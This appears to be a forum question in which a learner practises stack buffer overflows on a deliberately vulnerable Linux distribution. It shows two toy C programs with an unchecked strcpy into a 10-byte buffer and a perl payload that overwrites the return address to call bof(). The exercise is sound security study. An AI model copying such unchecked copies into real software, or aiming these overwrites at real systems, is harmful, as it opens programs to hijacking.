我已经安装了名为 DVL(该死的易受攻击的 linux)的 linux 发行版,并且正在使用缓冲区溢出漏洞进行锻炼。我写了两个几乎相同的程序,它们容易受到 bof 的攻击:
//bof_n.c
#include <stdio.h>
void bof() {
printf("BOF");
}
void foo(char* argv) {
char buf[10];
strcpy(buf, argv);
prinf("foo");
}
int main(int argc, char* argv[]) {
if (argc >= 1) {
foo(argv[1]);
}
return 0;
}
和
//bof.c
#include <stdio.h>
void bof() {
printf("BOF!\n");//this is the only change
}
void foo(char* argv) {
char buf[10];
strcpy(buf, argv);
prinf("foo");
}
int main(int argc, char* argv[]) {
if (argc >= 1) {
foo(argv[1]);
}
return 0;
}
之后,我编译了它们,并且在这两种情况下都获得了 bof() 函数地址(例如,objdump -d bof.o | grep bof)。让我们将这样一个地址 ADDR 命名为 4 字节。
我还发现,如果我在 buf 变量中写入 32 字节,则 EIP 寄存器将被完全覆盖(我无法在此处复制 gdb 的输出,因为它在虚拟机上)。
现在,如果我这样做:
./bof `perl -e 'print "\x90"x28 . "ADDR"'`
我得到:
fooBOF!
Segmentation fault
相反,如果我尝试相同的方法但使用 bof_n,我只会收到“分段错误”消息。因此我尝试增加重复 ADDR 值的次数,我发现如果重复至少 350 次,我会得到想要的结果。但是,我并没有准确地得到上面的输出,而是一个接一个地得到一长串“BOF”消息。我试图只获得一个“BOF”消息,但显然我做不到(我得到或为零,或一长串)。为什么会这样?任何想法?
我将 DVL 与 gcc 3.4.6 一起使用